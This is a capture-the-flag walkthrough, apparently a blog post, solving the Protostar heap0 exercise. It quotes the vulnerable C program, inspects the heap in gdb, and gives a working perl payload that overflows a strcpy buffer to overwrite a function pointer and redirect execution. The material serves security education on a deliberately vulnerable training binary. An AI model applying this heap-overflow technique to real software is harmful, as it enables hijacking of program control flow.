Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/heap0 test data is at 0x804a008, fp is at 0x804a050 level has not been passed
Exploit
Need to redirect program execution flow.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); }
Looks like we need to redirect program execution flow away from nowinner() to winner() function.
The vulnerable line is strcpy() which does not check if the source string (argv[1]) is smaller than the destination string (d->name). f is of type struct fp is essentially a function pointer to nowinner() and is created on the heap through malloc(). d is also located on the heap and created before f. If we overflow the heap where d is located we should be able to overwite f’s function pointer to winner().
Let’s find the memory location for the winner() function.
Again we will use objdump -t option to disassemble the program and look for reference to the ‘winner()’ function and it’s memory location.
user@protostar:~$ objdump -d /opt/protostar/bin/heap0 | grep winner 08048464 <winner>: 08048478 <nowinner>:
There we have it, winner() should be located at memory address 0x08048464.
Let’s debug the program to help visualize the heap and it’s structure.
I’m going to full d->name with 64 bytes, the full amount allocated.
(gdb) c Continuing. data is at 0x804a008, fp is at 0x804a050 Breakpoint 4, 0x080484f2 in main (argc=2, argv=0xbffff834) at heap0/heap0.c:36 36 in heap0/heap0.c (gdb) x /80xb 0x0804a050-76 0x804a004: 0x49 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a00c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a014: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a01c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a024: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a02c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a034: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a03c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a044: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a04c: 0x11 0x00 0x00 0x00 0x78 0x84 0x04 0x08
This is what the heap looks like with out two objects d and f before printf().
This is after
(gdb) x /88xb 0x0804a050-80 0x804a000: 0x00 0x00 0x00 0x00 0x49 0x00 0x00 0x00 0x804a008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a028: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a048: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a050: 0x78 0x84 0x04 0x08 0x00 0x00 0x00 0x00
I have highlighted each heap object.
As you can see there are an extra 8 bytes (heap chunk meta data) between the As and the function pointer.
Let’s now try to overflow the program and cause it to crash.
64 bytes of As to fill d->name
Addition 8 bytes of As to get us to the start of the function pointer.
4 bytes to overwrite function pointer of f->nowinner with pointer to winner() in reverse byte order. 0x64840408
user@protostar:~$ /opt/protostar/bin/heap0 $(perl -e 'print "A"x72 . "\x64\x84\x04\x08"') data is at 0x804a008, fp is at 0x804a050 level passed
Thank you